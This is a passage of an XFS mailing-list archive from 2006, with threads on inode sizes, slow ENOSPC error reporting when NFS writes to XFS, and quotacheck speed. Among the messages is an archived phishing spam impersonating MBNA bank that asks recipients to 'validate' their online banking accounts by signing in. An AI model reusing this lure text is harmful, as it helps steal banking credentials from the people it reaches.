for ; Wed, 4 Oct 2006 17:38:07 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA27197; Thu, 5 Oct 2006 10:37:18 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k950bGpj21707813; Thu, 5 Oct 2006 10:37:16 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k950bC7o21706661; Thu, 5 Oct 2006 10:37:12 +1000 (AEST) Date: Thu, 5 Oct 2006 10:37:12 +1000 From: David Chinner To: Andi Kleen Cc: David Chinner , xfs-dev@sgi.com, xfs@oss.sgi.com, dhowells@redhat.com, LKML Subject: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Message-ID: <20061005003712.GD3024@melbourne.sgi.com> References: <20061003060610.GV3024@melbourne.sgi.com> <20061003212335.GA13120@tuatara.stupidest.org> <20061003222256.GW4695059__33273.3314754025$1159914338$gmane$org@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-archive-position: 9184 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 04, 2006 at 07:59:15PM +0200, Andi Kleen wrote: > David Chinner writes: > > > > And yes, 64 bit systems are cheap, cheap, cheap so IMO this > > functionality is really irrelevant moving forward. If it had come > > along a couple of years ago then it would be different, but I think > > mainstream technology is finally catching up with XFS so it's not a > > critical issue anymore... ;) > > One issue is that people often still run a lot of 32bit userland > even with 64bit kernels. Which is one of the reasons why XFS uses 32 bit inodes by default even on 64 bit kernels. XFS does not use 64 bit inodes unless you tell it to via the inode64 mount option.... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 5 01:31:24 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 01:31:30 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k958VKaG005250 for ; Thu, 5 Oct 2006 01:31:23 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA05747; Thu, 5 Oct 2006 18:30:27 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k958UM7Y052713; Thu, 5 Oct 2006 18:30:23 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k958UFm7052700; Thu, 5 Oct 2006 18:30:15 +1000 (AEST) Date: Thu, 5 Oct 2006 18:30:15 +1000 From: David Chinner To: Stephane Doyon Cc: Trond Myklebust , David Chinner , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi Subject: Re: several messages Message-ID: <20061005083015.GC19345@melbourne.sgi.com> References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-archive-position: 9185 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 03, 2006 at 09:39:55AM -0400, Stephane Doyon wrote: > Sorry for insisting, but it seems to me there's still a problem in need of > fixing: when writing a 5GB file over NFS to an XFS file system and hitting > ENOSPC, it takes on the order of 22hours before my application gets an > error, whereas it would normally take about 2minutes if the file system > did not become full. > > Perhaps I was being a bit too "constructive" and drowned my point in > explanations and proposed workarounds... You are telling me that neither > NFS nor XFS is doing anything wrong, and I can understand your points of > view, but surely that behavior isn't considered acceptable? I agree that this a little extreme and I can't recall of seeing anything like this before, but I can see how that may happen if the NFS client continues to try to write every dirty page after getting an ENOSPC and each one of those writes has to wait for 500ms. However, you did not mention what kernel version you are running. One recent bug (introduced by a fix for deadlocks at ENOSPC) could allow oversubscription of free space to occur in XFS, resulting in the write being allowed to proceed (i.e. sufficient space for the data blocks) but then failing the allocation because there weren't enough blocks put aside for potential btree splits that occur during allocation. If the linux client is using sync writes on retry, then this would trigger a 500ms sleep on every write. That's the right sort of ballpark for the slowness you were seeing - 5GB / 32k * 0.5s = ~22 hours.... This got fixed in 2.6.18-rc6 - can you retry with a 2.6.18 server and see if your problem goes away? Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 5 09:34:46 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 09:34:58 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k95GYiaG005750 for ; Thu, 5 Oct 2006 09:34:46 -0700 X-ASG-Debug-ID: 1160066042-3539-269-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.max-t.com (h216-18-124-229.gtcust.grouptelecom.net [216.18.124.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id DA7E1471372 for ; Thu, 5 Oct 2006 09:34:02 -0700 (PDT) Received: from madrid.max-t.internal ([192.168.1.189] ident=[U2FsdGVkX18S/wioabvrxmH+qk1cEdifzKB197GJccM=]) by mail.max-t.com with esmtp (Exim 4.43) id 1GVWAX-0005IS-G4; Thu, 05 Oct 2006 12:33:58 -0400 Date: Thu, 5 Oct 2006 12:33:05 -0400 (EDT) From: Stephane Doyon X-X-Sender: sdoyon@madrid.max-t.internal To: David Chinner cc: Trond Myklebust , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi In-Reply-To: <20061005083015.GC19345@melbourne.sgi.com> Message-ID: References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> <20061005083015.GC19345@melbourne.sgi.com> MIME-Version: 1.0 X-SA-Exim-Connect-IP: 192.168.1.189 X-SA-Exim-Mail-From: sdoyon@max-t.com X-ASG-Orig-Subj: Re: several messages Subject: Re: several messages Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-SA-Exim-Version: 4.1 (built Thu, 08 Sep 2005 14:17:48 -0500) X-SA-Exim-Scanned: Yes (on mail.max-t.com) X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9186 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sdoyon@max-t.com Precedence: bulk X-list: xfs Status: O On Thu, 5 Oct 2006, David Chinner wrote: > On Tue, Oct 03, 2006 at 09:39:55AM -0400, Stephane Doyon wrote: >> Sorry for insisting, but it seems to me there's still a problem in need of >> fixing: when writing a 5GB file over NFS to an XFS file system and hitting >> ENOSPC, it takes on the order of 22hours before my application gets an >> error, whereas it would normally take about 2minutes if the file system >> did not become full. >> >> Perhaps I was being a bit too "constructive" and drowned my point in >> explanations and proposed workarounds... You are telling me that neither >> NFS nor XFS is doing anything wrong, and I can understand your points of >> view, but surely that behavior isn't considered acceptable? > > I agree that this a little extreme and I can't recall of seeing > anything like this before, but I can see how that may happen if the > NFS client continues to try to write every dirty page after getting > an ENOSPC and each one of those writes has to wait for 500ms. > > However, you did not mention what kernel version you are running. > One recent bug (introduced by a fix for deadlocks at ENOSPC) could > allow oversubscription of free space to occur in XFS, resulting in I do have that fix in my kernel. (I'm the one who pointed you to the patch that introduced that particular problem.) > the write being allowed to proceed (i.e. sufficient space for the > data blocks) but then failing the allocation because there weren't > enough blocks put aside for potential btree splits that occur during > allocation. If the linux client is using sync writes on retry, then The writes from nfsd shouldn't be sync. Technically it's not even retrying, just plowing on... > this would trigger a 500ms sleep on every write. That's the right > sort of ballpark for the slowness you were seeing - 5GB / 32k * 0.5s > = ~22 hours.... > > This got fixed in 2.6.18-rc6 - You mean commit 4be536debe3f7b0c right? (Actually -rc7 I believe...) I do have that one in my kernel. My kernel is 2.6.17 plus assorted XFS fixes. > can you retry with a 2.6.18 server > and see if your problem goes away? Unfortunately it will be several days before I have a chance to do that. The backtrace looked like this: ... nfsd_write nfsd_vfs_write vfs_writev do_readv_writev xfs_file_writev xfs_write generic_file_buffered_write xfs_get_blocks __xfs_get_blocks xfs_bmap xfs_iomap xfs_iomap_write_delay xfs_flush_space xfs_flush_device schedule_timeout_uninterruptible. with a 500ms sleep in xfs_flush_device(). Thanks From owner-xfs@oss.sgi.com Thu Oct 5 09:52:08 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 09:52:15 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k95Gq6aG008765 for ; Thu, 5 Oct 2006 09:52:08 -0700 X-ASG-Debug-ID: 1160067084-10710-387-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.max-t.com (h216-18-124-229.gtcust.grouptelecom.net [216.18.124.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1F4F0471B84 for ; Thu, 5 Oct 2006 09:51:24 -0700 (PDT) Received: from madrid.max-t.internal ([192.168.1.189] ident=[U2FsdGVkX1+g9yBiER3qqONX037RC0dSzZ5zpnbCpek=]) by mail.max-t.com with esmtp (Exim 4.43) id 1GVVKv-0004bJ-UE; Thu, 05 Oct 2006 11:40:38 -0400 Date: Thu, 5 Oct 2006 11:39:45 -0400 (EDT) From: Stephane Doyon X-X-Sender: sdoyon@madrid.max-t.internal To: Trond Myklebust cc: David Chinner , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi In-Reply-To: <1159893642.5592.12.camel@lade.trondhjem.org> Message-ID: References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> <1159893642.5592.12.camel@lade.trondhjem.org> MIME-Version: 1.0 X-SA-Exim-Connect-IP: 192.168.1.189 X-SA-Exim-Mail-From: sdoyon@max-t.com X-ASG-Orig-Subj: Re: several messages Subject: Re: several messages Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-SA-Exim-Version: 4.1 (built Thu, 08 Sep 2005 14:17:48 -0500) X-SA-Exim-Scanned: Yes (on mail.max-t.com) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9187 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sdoyon@max-t.com Precedence: bulk X-list: xfs Status: O On Tue, 3 Oct 2006, Trond Myklebust wrote: > On Tue, 2006-10-03 at 09:39 -0400, Stephane Doyon wrote: >> Sorry for insisting, but it seems to me there's still a problem in need of >> fixing: when writing a 5GB file over NFS to an XFS file system and hitting >> ENOSPC, it takes on the order of 22hours before my application gets an >> error, whereas it would normally take about 2minutes if the file system >> did not become full. >> >> Perhaps I was being a bit too "constructive" and drowned my point in >> explanations and proposed workarounds... You are telling me that neither >> NFS nor XFS is doing anything wrong, and I can understand your points of >> view, but surely that behavior isn't considered acceptable? > > Sure it is. If you say so :-). > You are allowing the kernel to cache 5GB, and that means you > only get the error message when close() completes. But it's not actually caching the entire 5GB at once... I guess you're saying that doesn't matter...? > If you want faster error reporting, there are modes like O_SYNC, > O_DIRECT, that will attempt to flush the data more quickly. In addition, > you can force flushing using fsync(). What if the program is a standard utility like cp? > Finally, you can tweak the VM into > flushing more often using /proc/sys/vm. It doesn't look to me like a question of degrees about how early to flush. Actually my client can't possibly be caching all of 5GB, it doesn't have the RAM or swap for that. Tracing it more carefully, it appears dirty data starts being flushed after a few hundred MBs. No error is returned on the subsequent writes, only on the final close(). I see some of the write() calls are delayed, presumably when the machine reaches the dirty threshold. So I don't see how the vm settings can help in this case. I hadn't realized that the issue isn't just with the final flush on close(). It's actually been flushing all along, delaying some of the subsequent write()s, getting NOSPC errors but not reporting them until the end. I understand that since my application did not request any syncing, the system cannot guarantee to report errors until cached data has been flushed. But some data has indeed been flushed with an error; can't this be reported earlier than on close? Would it be incorrect for a subsequent write to return the error that occurred while flushing data from previous writes? Then the app could decide whether to continue and retry or not. But I guess I can see how that might get convoluted. Thanks for your patience, From owner-xfs@oss.sgi.com Thu Oct 5 14:48:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 14:49:07 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k95LmqaG016036 for ; Thu, 5 Oct 2006 14:48:54 -0700 X-ASG-Debug-ID: 1160084889-4792-838-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vvhpw2003 (unknown [82.197.69.232]) by cuda.sgi.com (Spam Firewall) with ESMTP id CC100470678 for ; Thu, 5 Oct 2006 14:48:09 -0700 (PDT) Received: from vvhpw2003 ([127.0.0.1]) by vvhpw2003 with Microsoft SMTPSVC(6.0.3790.211); Thu, 5 Oct 2006 22:48:08 +0100 Date: Thu, 05 Oct 2006 22:48:08 +0000 X-ASG-Orig-Subj: An extra layer of protection Subject: An extra layer of protection To: xfs@oss.sgi.com From: MBNA Bank Online Message-Id: <130746235.76@alerts.mbnaonline.com> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 05 Oct 2006 21:48:08.0205 (UTC) FILETIME=[F1F3A3D0:01C6E8C7] X-Barracuda-Spam-Score: 3.18 X-Barracuda-Spam-Status: No, SCORE=3.18 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=FROM_ENDS_IN_NUMS, HTML_IMAGE_ONLY_16, HTML_TAG_BALANCE_BODY, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22631 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.16 FROM_ENDS_IN_NUMS From: ends in many numbers 0.39 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words X-archive-position: 9188 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: MbnaAlerts.061306.188560285@alerts.mbnaonline.com Precedence: bulk X-list: xfs Status: O Security Update Notification


Dear Valued Customer,
Financial institutions around the world have always
been subject to attempts by criminals to try and defraud 
money from them and their customers. These attempts
can occur in a number of ways (eg credit card fraud,
telephone banking or Internet scams).

As a part of our ongoing commitment to provide the "Best
Possible" service and Protection to all our Members, we are now
requiring each member to validate their accounts through our
Updated 45XS Secure Server. To validate your personal MBNA online
banking account Sign in to Secured Online Banking to get started.

Thank you.
Online Banking Security Team
MBNA Bank Online
© 2005 MBNA Corporation

From owner-xfs@oss.sgi.com Thu Oct 5 14:57:55 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 14:58:05 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k95LvsaG017912 for ; Thu, 5 Oct 2006 14:57:55 -0700 X-ASG-Debug-ID: 1160080964-23894-366-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from zenon.apartia.fr (zenon.apartia.fr [82.66.93.83]) by cuda.sgi.com (Spam Firewall) with ESMTP id C77BFD17E096 for ; Thu, 5 Oct 2006 13:42:44 -0700 (PDT) Received: from styx.apartia.fr (styx.apartia.fr [10.0.3.109]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "styx.apartia.fr", Issuer "ca.apartia.fr" (verified OK)) by zenon.apartia.fr (Postfix) with ESMTP id D9767F8C80631 for ; Thu, 5 Oct 2006 22:42:40 +0200 (CEST) Received: by styx.apartia.fr (Postfix, from userid 1000) id 70DD6B2AEA37; Thu, 5 Oct 2006 22:42:40 +0200 (CEST) Date: Thu, 5 Oct 2006 22:42:40 +0200 From: Louis-David Mitterrand To: xfs@oss.sgi.com X-ASG-Orig-Subj: is quotacheck fast with xfs? Subject: is quotacheck fast with xfs? Message-ID: <20061005204240.GA7922@apartia.fr> Mail-Followup-To: xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.13 (2006-08-11) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22627 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9189 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: vindex+lists-xfs@apartia.org Precedence: bulk X-list: xfs Status: O Hello, We have a 500GB mail server with 200 users presently with reiserfs. At boot time quotacheck takes close to one hour. Would quotacheck be faster on xfs? Thanks, From owner-xfs@oss.sgi.com Thu Oct 5 15:15:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 15:15:35 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k95MFLaG020593 for ; Thu, 5 Oct 2006 15:15:26 -0700 X-ASG-Debug-ID: 1160086479-19674-534-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id 113B64709F8 for ; Thu, 5 Oct 2006 15:14:40 -0700 (PDT) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id A072528A11; Fri, 6 Oct 2006 08:14:37 +1000 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id 8DD8253403A; Fri, 6 Oct 2006 08:14:37 +1000 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 04498-01-57; Fri, 6 Oct 2006 08:14:36 +1000 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id B8A83534039; Fri, 6 Oct 2006 08:14:36 +1000 (EST) X-ASG-Orig-Subj: Re: is quotacheck fast with xfs? Subject: Re: is quotacheck fast with xfs? From: Nathan Scott Reply-To: nscott@aconex.com To: Louis-David Mitterrand Cc: xfs@oss.sgi.com In-Reply-To: <20061005204240.GA7922@apartia.fr> References: <20061005204240.GA7922@apartia.fr> Content-Type: text/plain Organization: Aconex Date: Fri, 06 Oct 2006 08:15:01 +1000 Message-Id: <1160086501.32536.57.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22631 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9190 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Thu, 2006-10-05 at 22:42 +0200, Louis-David Mitterrand wrote: > Hello, > > We have a 500GB mail server with 200 users presently with reiserfs. At > boot time quotacheck takes close to one hour. > > Would quotacheck be faster on xfs? > Yes, typically - XFS uses its internal "bulkstat" code to speed up the inode scanning process (and it only needs to be done once, on the initial mount, and then XFS "remembers" that the check has been done, for subsequent mounts and it journals all updates to the quota files), whereas the userspace quotacheck(1) program is filesystem independent (IIRC) and doesn't implement such optimisations. FWIW, quotacheck time is a function of the number of inodes in the filesystem, not the number of users. cheers. -- Nathan From owner-xfs@oss.sgi.com Thu Oct 5 16:30:41 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 16:30:52 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k95NUaaG032271 for ; Thu, 5 Oct 2006 16:30:39 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA24440; Fri, 6 Oct 2006 09:29:44 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k95NTe7Y755843; Fri, 6 Oct 2006 09:29:41 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k95NTZMh761807; Fri, 6 Oct 2006 09:29:35 +1000 (AEST) Date: Fri, 6 Oct 2006 09:29:35 +1000 From: David Chinner To: Stephane Doyon Cc: David Chinner , Trond Myklebust , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi Subject: Re: several messages Message-ID: <20061005232935.GE19345@melbourne.sgi.com> References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> <20061005083015.GC19345@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-archive-position: 9191 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Thu, Oct 05, 2006 at 12:33:05PM -0400, Stephane Doyon wrote: > retrying, just plowing on... > > >this would trigger a 500ms sleep on every write. That's the right > >sort of ballpark for the slowness you were seeing - 5GB / 32k * 0.5s > >= ~22 hours.... > > > >This got fixed in 2.6.18-rc6 - > > You mean commit 4be536debe3f7b0c right? (Actually -rc7 I believe...) I do > have that one in my kernel. My kernel is 2.6.17 plus assorted XFS fixes. > > >can you retry with a 2.6.18 server > >and see if your problem goes away? > > Unfortunately it will be several days before I have a chance to do that. > > The backtrace looked like this: > > ... nfsd_write nfsd_vfs_write vfs_writev do_readv_writev xfs_file_writev > xfs_write generic_file_buffered_write xfs_get_blocks __xfs_get_blocks > xfs_bmap xfs_iomap xfs_iomap_write_delay xfs_flush_space xfs_flush_device > schedule_timeout_uninterruptible. Ahhh, this gets hit on the ->prepare_write path (xfs_iomap_write_delay()), not the allocate path (xfs_iomap_write_allocate()). Sorry - I got myself (and probably everyone else) confused there which why I suspected sync writes - they trigger the allocate path in the write call. I don't think 2.6.18 will change anything. FWIW, I don't think we can avoid this sleep when we first hit ENOSPC conditions, but perhaps once we are certain of the ENOSPC status we can tag the filesystem with this state (say an xfs_mount flag) and only clear that tag when something is freed. We could then use the tag to avoid continually trying extremely hard to allocate space when we know there is none available.... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 5 17:34:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 17:34:53 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k960YfaG008047 for ; Thu, 5 Oct 2006 17:34:43 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA25748; Fri, 6 Oct 2006 10:33:49 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k960Xj7Y768721; Fri, 6 Oct 2006 10:33:45 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k960Xdnp768205; Fri, 6 Oct 2006 10:33:39 +1000 (AEST) Date: Fri, 6 Oct 2006 10:33:39 +1000 From: David Chinner To: Stephane Doyon Cc: Trond Myklebust , David Chinner , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi Subject: Re: several messages Message-ID: <20061006003339.GF19345@melbourne.sgi.com> References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> <1159893642.5592.12.camel@lade.trondhjem.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-archive-position: 9192 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Thu, Oct 05, 2006 at 11:39:45AM -0400, Stephane Doyon wrote: > > I hadn't realized that the issue isn't just with the final flush on > close(). It's actually been flushing all along, delaying some of the > subsequent write()s, getting NOSPC errors but not reporting them until the > end. Other NFS clients will report an ENOSPC on the next write() or close() if the error is reported during async writeback. The clients that typically do this throw away any unwritten data as well on the basis that the application was returned an error ASAP and it is now Somebody Else's Problem (i.e. the application needs to handle it from there). > I understand that since my application did not request any syncing, the > system cannot guarantee to report errors until cached data has been > flushed. But some data has indeed been flushed with an error; can't this > be reported earlier than on close? It could, but... > Would it be incorrect for a subsequent write to return the error that > occurred while flushing data from previous writes? Then the app could > decide whether to continue and retry or not. But I guess I can see how > that might get convoluted. .... there's many entertaining hoops to jump through to do this reliably. FWIW, these are simply two different approaches to handling ENOSPC (and other server) errors. Mostly it comes down to how the ppl who implemented the NFS client think it's best to handle the errors in the scenarios that they most care about. For example: when you have large amounts of cached data, expedient error reporting and tossing unwritten data leads to much faster error recovery than trying to write every piece of data (hence the Irix use of this method). OTOH, when you really want as much of the data to get to the server, regardless of whether you lose some (e.g. log files) before reporting an error then you try to write every bit of data before telling the application. There's no clear right or wrong approach here - both have their advantages and disadvantages for different workloads. If it weren't for the sub-optimal behaviour of XFS in this case, you probably wouldn't have even cared about this.... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 5 20:27:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 20:27:24 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k963RFaG031894 for ; Thu, 5 Oct 2006 20:27:17 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA29036; Fri, 6 Oct 2006 13:26:24 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k963QM7Y798076; Fri, 6 Oct 2006 13:26:22 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k963QHu5798196; Fri, 6 Oct 2006 13:26:17 +1000 (AEST) Date: Fri, 6 Oct 2006 13:26:17 +1000 From: David Chinner To: Takenori Nagano Cc: xfs@oss.sgi.com Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: <20061006032617.GC11034@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <45237CCE.4010007@ah.jp.nec.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9193 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 04, 2006 at 06:20:14PM +0900, Takenori Nagano wrote: > Hi, > > The patch attached to this mail is 